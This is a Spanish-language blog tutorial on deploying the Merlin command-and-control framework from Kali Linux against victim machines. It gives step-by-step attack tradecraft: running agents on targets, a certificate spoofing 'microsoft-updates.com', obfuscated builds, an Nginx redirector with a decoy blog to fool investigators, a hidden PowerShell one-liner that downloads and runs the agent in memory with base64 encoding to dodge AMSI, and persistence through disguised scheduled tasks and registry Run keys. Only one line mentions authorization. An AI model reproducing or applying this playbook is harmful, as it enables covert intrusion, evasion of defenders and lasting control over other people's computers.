Configurar Merlin en Kali Linux

  

 https://www.onlinetis.com/es/

Configurar Merlin en Kali Linux

Configurar Merlin en Kali Linux es una excelente opción si buscas una alternativa potente y basada en HTTP/2 para tus pruebas de penetración. Merlin es un framework de "Post-Explotación" escrito en Go, lo que lo hace muy ligero y difícil de detectar para algunos sistemas de seguridad tradicionales.

Aquí tienes una guía rápida para poner en marcha el agente y el servidor.

1. Instalación del Servidor (C2) en Kali

Primero, necesitas el servidor que recibirá las conexiones. En Kali Linux, puedes descargarlo directamente desde los lanzamientos de GitHub o compilarlo si tienes Go instalado.

Bash
# Descargar el servidor (ajusta la versión a la más reciente)
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
# Descomprimir (necesitarás p7zip-full)
7z x merlinServer-Linux-x64.7z
# Ejecutar el servidor
sudo ./merlinServer-Linux-x64

Una vez dentro de la consola de Merlin, verás un prompt como Merlin ».

2. Generar el Agente

El "agente" es el binario que se ejecuta en la máquina objetivo. Merlin permite generar agentes para Windows, Linux y macOS.

  1. En la consola de Merlin, configura un Listener (el puerto que escuchará):

    • listeners

    • use http2

    • set Interface 0.0.0.0

    • run

  2. Para generar el binario del agente, puedes usar el comando agent o simplemente descargar el ejecutable precompilado correspondiente al sistema operativo de la víctima desde el repositorio de Merlin.

3. Ejecución en el Objetivo

Si vas a atacar una máquina Windows, por ejemplo, usarías el merlinAgent-Windows-x64.exe.

Desde la terminal de la víctima (o mediante tu vector de ataque), ejecutas:

DOS
merlinAgent.exe -url https://TU-IP-KALI:443

Características clave:

  • Tráfico HTTP/2: Es más difícil de inspeccionar para los firewalls.

  • Cifrado: Utiliza TLS para proteger las comunicaciones.

  • Modular: Puedes cargar scripts de PowerShell, ejecutar comandos de shell y gestionar archivos.

Consideraciones importantes

Nota: Merlin es una herramienta de seguridad ofensiva. Asegúrate de usarla solo en entornos controlados o bajo autorización explícita (Pentesting ético). Los antivirus modernos (como Windows Defender) detectarán los agentes precompilados de GitHub casi de inmediato; para escenarios reales, necesitarás aprender sobre ofuscación o compilación personalizada.

 

Para configurar y ejecutar comandos dentro de un agente de Merlin, primero debes entender que Merlin funciona de forma asíncrona. Esto significa que cuando envías un comando, el agente lo recibirá la próxima vez que haga "check-in" (se comunique con el servidor).

Aquí te explico cómo interactuar con un agente activo y configurar sus parámetros.

1. Interactuar con el Agente

Una vez que el agente se ha conectado (verás un mensaje de Agent [ID] connected), debes seleccionarlo para darle órdenes:

  1. Escribe interact [ID-del-agente] (puedes ver la lista con el comando agents).

  2. El prompt cambiará a Merlin[AgentID] ».

2. Comandos de Configuración (Settings)

Antes de ejecutar acciones, es común querer ajustar el comportamiento del agente para evitar detecciones o ahorrar ancho de banda.

  • Cambiar el tiempo de espera (Sleep): Define cada cuánto tiempo el agente contacta al servidor.

    • agent set Sleep 10s (más rápido, pero más ruidoso).

    • agent set Sleep 5m (más sigiloso).

  • Añadir Jitter: Introduce una variación aleatoria en el tiempo de espera para que el tráfico no parezca un bot.

    • agent set Jitter 20 (añade un 20% de variación aleatoria).

  • Cambiar el KillDate: Configura una fecha en la que el agente se auto-eliminará.

    • agent set KillDate 2026-12-31

3. Ejecución de Comandos Específicos

Dentro de la sesión interactiva del agente, tienes varias categorías de comandos:

Comandos de Sistema

Para ejecutar algo directamente en el CMD o Bash de la víctima:

  • run [comando] -> Ejemplo: run whoami /all o run ls -la

Módulos Integrados

Merlin brilla cuando usas sus módulos cargados en memoria (evita escribir en disco):

  • Uso de SharpSploit (Windows): Si el agente es de Windows, puedes usar funciones de post-explotación avanzadas.

    • sharpsploit-whoami

  • Transferencia de archivos:

    • download /ruta/en/victima (Trae un archivo a tu Kali).

    • upload /ruta/en/kali (Envía un archivo a la víctima).

4. El Ciclo de Control

Es vital recordar que después de escribir un comando, este quedará en estado "Queued" (En cola).

  1. Escribes el comando.

  2. Esperas al siguiente Check-in.

  3. El agente descarga el comando, lo ejecuta y devuelve el resultado en el próximo ciclo.

Tip Pro: Si necesitas una respuesta inmediata porque estás en un entorno de pruebas, configura el Sleep en 1s temporalmente, pero recuerda subirlo de nuevo para mantener el sigilo.

 

Para que las comunicaciones de Merlin sean más difíciles de detectar, el secreto no solo está en cifrar (que ya lo hace por defecto con TLS), sino en cómo se presenta ese cifrado ante los sistemas de inspección de tráfico (IDS/IPS) y firewalls.

Aquí tienes los pasos para configurar un cifrado y una firma de tráfico más robustos en tu servidor y agente.

1. Cambiar el Certificado por Defecto (Crucial)

El certificado que trae Merlin por defecto tiene metadatos que los antivirus y firewalls ya conocen. Debes generar uno propio que imite a un sitio legítimo.

Puedes usar OpenSSL para crear un certificado auto-firmado con datos que parezcan reales:

Bash
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes -subj "/C=ES/ST=Madrid/L=Madrid/O=Servicios IT/OU=Seguridad/CN=microsoft-updates.com"

Configurarlo en el Listener de Merlin:

Dentro de la consola de Merlin, cuando crees tu listener:

  1. listeners

  2. use http2 (HTTP/2 es más difícil de analizar que HTTP/1.1)

  3. set CertFile /ruta/a/tu/server.crt

  4. set KeyFile /ruta/a/tu/server.key

2. Uso de Domain Fronting o C2 Redirectors

En lugar de conectar el agente directamente a tu IP de Kali, lo ideal es usar un "Redirector" (un servidor intermedio como Nginx o Apache) que tenga un certificado SSL válido (de Let's Encrypt, por ejemplo).

  • El Agente se conecta a https://tu-dominio-legitimo.com.

  • El Redirector recibe la conexión y la reenvía a tu servidor Merlin en Kali.

3. Configuración de JA3 Fingerprinting

Muchos sistemas de detección modernos usan JA3, que identifica el "apretón de manos" (handshake) de TLS. Si el handshake del agente Merlin siempre es igual, será bloqueado.

Para mitigar esto, puedes cambiar el User-Agent y los encabezados en el agente para que se confunda con un navegador real:

  • En el Listener:

    • set UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

  • En el Agente (al compilar o ejecutar): Asegúrate de que los encabezados HTTP coincidan con los del listener.

4. Ocultar el Tráfico en el Host (Padding)

Puedes configurar el agente para que añada datos aleatorios ("Padding") a cada paquete, haciendo que el tamaño de los mensajes varíe y no sigan un patrón fijo de C2.

En la configuración del Agente:

  • agent set Padding 100 (Añade hasta 100 bytes aleatorios a cada mensaje).

5. Compilación con Ofuscación (Garble)

Si el antivirus detecta el binario del agente antes de que este pueda siquiera cifrar el tráfico, de nada sirve el SSL. En Kali, te recomiendo compilar el agente usando Garble, que ofusca el código fuente de Go.

Bash
# Instalar Garble
go install mvdan.cc/garble@latest

# Compilar el agente ofuscado
garble build -ldflags="-w -s" -o agente_invisible.exe main.go

El flag -w -s elimina la tabla de símbolos y la información de depuración, haciendo el archivo más pequeño y difícil de revertir.

Dato curioso: Usar HTTP/2 no solo cifra el contenido, sino que multiplexa las conexiones, lo que significa que múltiples "órdenes" viajan en un solo flujo TCP, volviendo locos a los analizadores de protocolos antiguos.

 

Configurar un Redirector con Nginx es el estándar de oro en operaciones de Red Teaming. Esto oculta tu IP real de Kali y hace que el tráfico parezca provenir de un servidor web legítimo.

Aquí tienes los pasos para montar esta infraestructura "invisible".

1. El Concepto del Redirector

Tu infraestructura se verá así:

Víctima → https://tu-dominio.com (Servidor Nginx) → Proxy Pass → https://TU-IP-KALI (Servidor Merlin).

2. Configuración de Nginx en el Servidor Intermedio

Necesitas un VPS básico (puede ser Debian o Ubuntu). Instala Nginx y configura un bloque de servidor que actúe como Reverse Proxy.

  1. Instala Nginx:

    sudo apt update && sudo apt install nginx -y

  2. Edita la configuración del sitio:

    sudo nano /etc/nginx/sites-available/merlin-proxy

  3. Pega la configuración del Proxy:

    Esta configuración reenvía el tráfico HTTP/2 hacia tu Kali:

Nginx
server {
    listen 443 ssl http2;
    server_name tu-dominio.com;

    ssl_certificate /etc/letsencrypt/live/tu-dominio.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/tu-dominio.com/privkey.pem;

    location / {
        proxy_pass https://TU-IP-KALI-REAL:443;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        
        # Esto es vital para que Merlin funcione a través de Nginx
        proxy_read_timeout 300s;
        proxy_connect_timeout 75s;
    }
}

3. Obtener un Certificado SSL Real (Let's Encrypt)

Para que el tráfico sea indistinguible de un sitio web normal, usa Certbot para obtener un certificado gratuito y válido.

Bash
sudo apt install certbot python3-certbot-nginx -y
sudo certbot --nginx -d tu-dominio.com

4. Configurar Merlin para aceptar el Proxy

En tu Kali Linux, cuando inicies el Listener, debes asegurarte de que Merlin sepa que hay un proxy delante.

  1. listeners

  2. use http2

  3. set Interface 0.0.0.0

  4. set Port 443

  5. Importante: Usa los mismos certificados que generaste en el paso anterior (puedes copiarlos del VPS a tu Kali) para que el túnel TLS sea consistente de extremo a extremo.

5. Ejecutar el Agente hacia el Redirector

Ahora, al ejecutar el agente en la víctima, nunca uses tu IP de Kali. Usa el dominio del redirector:

DOS
merlinAgent.exe -url https://tu-dominio.com:443

Ventajas de este método:

  • Protección de IP: Si la víctima descubre el agente, solo verá la IP de tu VPS (el cual puedes destruir y recrear en minutos), pero nunca sabrá dónde está tu consola de control en Kali.

  • Confianza SSL: El tráfico usa un certificado emitido por una autoridad real (Let's Encrypt), lo que evita alertas de "Certificado no confiable".

  • Filtros de Nginx: Puedes configurar Nginx para que solo deje pasar el tráfico que tenga un "User-Agent" específico, bloqueando así a investigadores de seguridad o escáneres automáticos.

 

Esta es la técnica definitiva para el sigilo: convertir tu redirector en un sitio web real (un "Front") que engañe a cualquiera que intente investigar la IP. Si un analista de seguridad entra al dominio desde su navegador, verá un sitio normal, pero si el Agente Merlin se conecta, Nginx lo redirigirá a tu Kali.

Para lograr esto, usaremos una técnica llamada Condicionales por User-Agent.

1. Preparar el "Sitio Falso" (Decoy)

En tu servidor VPS (donde está Nginx), coloca una plantilla sencilla de HTML en la ruta por defecto.

Bash
# Crear un directorio para el sitio falso
sudo mkdir -p /var/www/html/blog-tecnico
# Descarga o crea un index.html básico (puedes usar un clon de un blog de WordPress)
sudo nano /var/www/html/blog-tecnico/index.html

2. Configurar el Filtro Inteligente en Nginx

Modificaremos el archivo de configuración que creamos antes (/etc/nginx/sites-available/merlin-proxy). El objetivo es:

  1. Si el User-Agent coincide con el de tu agente Merlin, enviar a Kali.

  2. Si no coincide, mostrar el blog falso.

Edita el archivo:

Nginx
server {
    listen 443 ssl http2;
    server_name tu-dominio.com;

    ssl_certificate /etc/letsencrypt/live/tu-dominio.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/tu-dominio.com/privkey.pem;

    # Definimos una variable para decidir si es el agente o no
    set $es_agente 0;

    # AQUÍ ESTÁ EL TRUCO: 
    # Usamos el User-Agent que configuraste en el Listener de Merlin
    if ($http_user_agent ~* "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
        set $es_agente 1;
    }

    location / {
        if ($es_agente = 1) {
            proxy_pass https://TU-IP-KALI-REAL:443;
            break;
        }

        # Si no es el agente, sirve el sitio falso
        root /var/www/html/blog-tecnico;
        index index.html;
    }
}

3. ¿Cómo funciona esto en la práctica?

  • Investigador curioso: Entra a https://tu-dominio.com desde su Chrome. Nginx ve un User-Agent estándar, la variable $es_agente se queda en 0 y le muestra el blog técnico. Resultado: No sospecha nada.

  • Agente Merlin: Se conecta usando el User-Agent específico que tú definiste. Nginx lo detecta, cambia la variable a 1 y hace el proxy_pass hacia tu Kali. Resultado: Conexión exitosa y oculta.

4. Un paso extra: El Firewall de Kali (UFW)

Para que esto sea 100% seguro, debes configurar el firewall de tu máquina Kali para que solo acepte conexiones en el puerto 443 que provengan de la IP de tu VPS.

Bash
# En tu máquina Kali:
sudo ufw allow from IP-DE-TU-VPS to any port 443
sudo ufw default deny incoming
sudo ufw enable

De esta forma, si alguien descubre tu IP real de Kali, no podrá conectar directamente al puerto de Merlin.

5. Verificación Final

  1. Reinicia Nginx en el VPS: sudo systemctl restart nginx

  2. Inicia tu Listener en Merlin (asegúrate de que el User-Agent coincida exactamente con el del script de Nginx).

  3. Ejecuta el agente en la víctima apuntando al dominio.

Tip de experto: Cambia el User-Agent a algo único y secreto. No uses el que viene por defecto en los ejemplos de internet, ya que los sistemas EDR avanzados también buscan esos "User-Agents de ejemplo".

 

Ejecutar el agente directamente en la memoria (In-Memory) es el siguiente nivel de sigilo. Al no escribir un archivo .exe en el disco duro, evitas que el antivirus escanee el archivo mediante su firma (Static Analysis).

Para esto, utilizaremos un Stager de PowerShell. Este comando descargará el agente de Merlin y lo ejecutará sin que "toque" el disco de la víctima.

1. El One-Liner de PowerShell

Este comando utiliza Net.WebClient para descargar el binario y Reflection.Assembly para cargarlo en el espacio de memoria de PowerShell.

Advertencia: Reemplaza https://tu-dominio.com/agente.exe por la URL donde tengas alojado el binario (puede ser en el mismo servidor Nginx que configuramos antes, en una carpeta oculta).

PowerShell
powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadData('https://tu-dominio.com/agente.exe') | %{ [System.Reflection.Assembly]::Load($_).EntryPoint.Invoke($null,$null) }"

Desglose del comando:

  • -w hidden: Oculta la ventana de la terminal para que el usuario no vea nada.

  • DownloadData: Descarga el archivo binario como un flujo de bytes (en memoria).

  • [System.Reflection.Assembly]::Load($_): Carga esos bytes directamente en la RAM.

  • Invoke($null,$null): Ejecuta el punto de entrada del programa Merlin.

2. Ofuscación del Comando (Bypass de AMSI)

Windows cuenta con AMSI (Antimalware Scan Interface), que analiza los comandos de PowerShell en tiempo de ejecución. Si pegas el comando anterior tal cual, es probable que sea bloqueado.

Para evadirlo, puedes usar codificación Base64.

  1. En tu Kali, convierte el comando a Base64:

Bash
echo "IEX (New-Object Net.WebClient).DownloadData('https://tu-dominio.com/agente.exe') | %{ [System.Reflection.Assembly]::Load($_).EntryPoint.Invoke($null,$null) }" | iconv -t utf-16le | base64 -w 0

  1. El resultado será una cadena larga. Ejecútalo así en la víctima:

PowerShell
powershell -e [CADENA_BASE64_AQUÍ]

3. Alojamiento del Agente en el Redirector

Para que el comando funcione, el agente debe estar disponible para descarga. Puedes ponerlo en tu VPS de Nginx:

  1. Crea una carpeta "secreta": sudo mkdir -p /var/www/html/blog-tecnico/updates/

  2. Copia tu agente ahí: sudo cp agente.exe /var/www/html/blog-tecnico/updates/kb503412.exe

  3. Asegúrate de que el comando de PowerShell apunte a esa ruta exacta.

4. Verificación de Seguridad Final

Ahora tienes una cadena de ataque profesional:

  1. Vector: One-liner de PowerShell (codificado).

  2. Carga: El agente se descarga y vive solo en la RAM.

  3. Tráfico: El tráfico va cifrado por HTTPS/2 hacia un dominio con certificado real.

  4. Engaño: Si alguien visita el dominio, ve un blog técnico gracias al filtro de User-Agent de Nginx.

  5. Control: Tú manejas todo desde tu Kali, protegida detrás del Firewall y el VPS.

Sugerencia: Para entornos muy protegidos, podrías usar Invoke-Obfuscation (una herramienta de PowerShell) para que el comando inicial sea completamente ilegible para los sistemas de monitoreo.

 

La persistencia es el paso final para asegurar que tu acceso no se pierda cuando el usuario apague o reinicie su computadora. En Windows, existen docenas de métodos, pero para mantener la coherencia con nuestro enfoque de "sigilo en memoria", utilizaremos dos de los más efectivos: Tareas Programadas y la Llave de Registro "Run".

Aquí te explico cómo configurarlos desde la consola de Merlin.

1. Persistencia mediante Tarea Programada (Recomendado)

Las tareas programadas son excelentes porque pueden ejecutarse con privilegios de SYSTEM y no dependen de que el usuario inicie sesión.

Desde tu sesión interactiva en Merlin (Merlin[AgentID] »), ejecuta:

Bash
run schtasks /create /tn "OneDriveUpdate" /tr "powershell.exe -WindowStyle Hidden -EncodedCommand [TU_BASE64_AQUÍ]" /sc onlogon /rl highest /f

  • /tn "OneDriveUpdate": Un nombre que parezca legítimo.

  • /tr: El comando (tu One-Liner de PowerShell en Base64).

  • /sc onlogon: Se ejecuta cada vez que un usuario inicia sesión.

  • /rl highest: Intenta ejecutarse con los máximos privilegios disponibles.

2. Persistencia por Registro (HKCU/HKLM)

Este método es más clásico. Crea una entrada en el registro de Windows que apunta a tu comando de PowerShell.

Bash
run reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "powershell.exe -WindowStyle Hidden -EncodedCommand [TU_BASE64_AQUÍ]" /f

  • HKCU: (HKEY_CURRENT_USER) Solo requiere privilegios de usuario normal.

  • HKLM: (HKEY_LOCAL_MACHINE) Requeriría que tu agente ya tenga privilegios de Administrador.

3. Persistencia "Fileless" con WMI (Nivel Experto)

Si quieres evitar que incluso las herramientas de auditoría de tareas programadas te detecten, puedes usar WMI (Windows Management Instrumentation). Esto vincula un evento del sistema (como el inicio del equipo) con la ejecución de tu comando, todo guardado en la base de datos de WMI, sin archivos ni tareas visibles de forma simple.

En Merlin, puedes cargar un script de PowerShell que haga esto:

  1. Sube un script .ps1 que configure el WMI Event Subscription.

  2. Ejecútalo con powershell-import o run.

Resumen de tu Infraestructura de Red Team:

ComponenteFunción de Seguridad
Kali LinuxServidor C2 oculto tras firewall.
VPS NginxRedirector con SSL real y sitio "decoy" (blog).
User-Agent FilterSepara investigadores de agentes reales.
PowerShell IEXEjecución en memoria (sin archivos en disco).
SchTasks / RegMantiene el acceso tras reinicios.

Una advertencia de peer a peer:

Ten en cuenta que los EDR (Endpoint Detection and Response) modernos como CrowdStrike o SentinelOne monitorean el uso de EncodedCommand y la creación de tareas programadas sospechosas. En un entorno real, podrías necesitar fragmentar el comando o usar técnicas de Parent PID Spoofing para que parezca que el comando lo lanzó un proceso legítimo de Windows (como explorer.exe).

Location: España

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Imagen
  www.onlinetis.com   Hacking y ciberseguridad en kali linux con Fping Fping es un programa similar a ping que utiliza la solicitud de eco del Protocolo de Mensajes de Control de Internet (ICMP) para determinar si un host objetivo responde. fping se diferencia de ping en que permite especificar cualquier número de objetivos en la línea de comandos o un archivo con las listas de objetivos a los que se hará ping. En lugar de enviar a un objetivo hasta que se agote el tiempo de espera o responda, fping envía un paquete de ping y pasa al siguiente objetivo mediante un sistema de turnos rotatorios. Como instalar:  sudo apt install fping fping Enviar paquetes ICMP ECHO_REQUEST a los hosts de la red   fping6 Compatibilidad con versiones anteriores de fping anteriores a la versión 4.0 El comando fping en Kali Linux es una utilidad de red que se utiliza para enviar paquetes de ICMP (Protocolo de mensajes de control de Internet) a varios hosts de forma simultánea. A diferen...
LEER MAS »

Hacking y ciberseguridad en kali linux con atk6-thcping6

Imagen
www.onlinetis.com Hacking y ciberseguridad en kali linux con atk6-thcping6 Parece que estás interesado en usar atk6-thcping6 en Kali Linux. Esta herramienta es parte del conjunto de utilidades thc-ipv6 , diseñado para probar las debilidades del protocolo IPv6. Para usar atk6-thcping6 , primero necesitas tener instalado el paquete thc-ipv6 . En la mayoría de las distribuciones de Kali, ya viene preinstalado, pero si no, puedes instalarlo con el siguiente comando: Bash sudo apt install thc-ipv6 Una vez que lo tienes instalado, la sintaxis básica para atk6-thcping6 es: Bash atk6-thcping6 <interface> <target> [opciones] Aquí está el desglose de los argumentos y opciones más comunes: <interface> : La interfaz de red que usarás para enviar el paquete. Por ejemplo, eth0 , wlan0 , etc. <target> : La dirección IPv6 del objetivo al que quieres hacer ping. [opciones] : Puedes usar varias opciones para modificar el comportamiento del ping. La mejor manera de ver todas la...
LEER MAS »

Como utilizar Fierce en kali linux

Imagen
  www.onlinetis.com   Como utilizar Fierce en kali linux Fierce es un escáner semiligero que ayuda a localizar direcciones IP no contiguas y nombres de host en dominios específicos. Está pensado como precursor de nmap, unicornscan, nessus, nikto, etc., ya que todos ellos requieren que se conozca previamente el espacio IP buscado. No realiza exploits ni escanea internet indiscriminadamente. Está diseñado específicamente para localizar objetivos probables tanto dentro como fuera de una red corporativa. Dado que utiliza principalmente DNS, es frecuente encontrar redes mal configuradas que filtran el espacio de direcciones interno. Esto es especialmente útil en malware dirigido. Originalmente escrito por RSnake y otros en http://ha.ckers.org/. Se trata simplemente de una conversión a Python 3 para simplificar y modernizar el código base. Como instalar: sudo apt install fierce Escáner DNS que ayuda a localizar espacios de IP no contiguos y nombres de host contra dominios específico...
LEER MAS »